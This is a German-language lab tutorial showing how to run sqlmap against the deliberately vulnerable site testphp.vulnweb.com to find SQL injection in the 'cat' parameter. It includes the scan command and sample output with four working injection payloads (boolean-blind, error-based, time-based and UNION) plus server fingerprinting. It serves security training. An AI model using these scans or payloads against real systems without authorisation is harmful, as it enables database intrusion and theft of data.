Erkennung einer SQL-Injection-Schwachstelle
Da sqlmap nun installiert ist, können Sie damit beginnen, eine Webanwendung auf SQL-Injection-Schwachstellen zu prüfen. Für dieses Lab verwenden wir eine öffentlich zugängliche, absichtlich verwundbare Website, die für Sicherheitstests entwickelt wurde. Der erste Schritt bei jedem SQL-Injection-Angriff besteht darin, einen anfälligen Parameter zu identifizieren.
Die Ziel-URL für dieses Lab lautet http://testphp.vulnweb.com/listproducts.php?cat=1. Der Parameter cat=1 ist ein potenzieller Einstiegspunkt für eine Injection. Wir werden sqlmap verwenden, um diesen Parameter automatisch zu testen.
Führen Sie den folgenden Befehl aus, um den Test zu starten. Das Flag -u gibt die Ziel-URL an. Wir verwenden das Flag --batch, damit sqlmap mit den Standardantworten auf alle interaktiven Fragen läuft, was den Prozess automatisiert und beschleunigt.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
sqlmap wird eine Reihe von Tests gegen die URL durchführen. Es analysiert die Antworten, um festzustellen, ob der Parameter cat injizierbar ist. Dieser Vorgang kann ein bis zwei Minuten dauern, da verschiedene SQL-Injection-Techniken ausprobiert werden.
Prüfen Sie nach Abschluss des Scans die Ausgabe. Sie sollten einen Abschnitt finden, der die Schwachstelle bestätigt.
Erwartete Ausgabe (gekürzt):
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
Die Ausgabe bestätigt, dass der Parameter cat für mehrere Arten von SQL-Injection-Angriffen anfällig ist:
- Boolean-based blind: Nutzt Wahr/Falsch-Logik, um Daten zu extrahieren.
- Error-based: Nutzt Datenbank-Fehlermeldungen aus, um Informationen preiszugeben.
- Time-based blind: Nutzt Verzögerungen in den Antworten, um eine Injection zu bestätigen.
- UNION query: Kombiniert Ergebnisse aus mehreren SELECT-Anweisungen.
Der Scan identifiziert zudem das Backend-Datenbanksystem als MySQL Version 5.6 oder höher, das auf einem Linux-Ubuntu-System mit Nginx und PHP läuft. Diese detaillierten Fingerprinting-Informationen leiten die nächsten Schritte im Exploit-Prozess ein.